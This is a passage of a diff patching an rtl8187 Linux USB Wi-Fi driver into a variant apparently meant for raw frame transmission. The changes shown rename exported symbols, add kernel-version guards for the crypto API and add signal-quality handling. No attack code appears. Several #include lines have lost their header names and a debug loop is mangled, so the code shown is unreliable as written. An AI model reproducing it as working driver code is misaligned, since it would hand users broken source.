r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2381,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2399,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2419,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2430,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2443,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2553,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2572,20 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2594,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2642,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2659,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2676,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2689,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2704,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_rawtx/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187.h 2007-06-08 23:30:29.000000000 +0200 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,16 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +166,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +179,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +233,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,18 +247,18 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.c 2007-06-08 23:30:47.000000000 +0200 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2007-06-08 23:30:47.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_orig/ieee80211/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.h 2007-06-08 23:30:44.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c 2007-06-08 23:30:47.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct 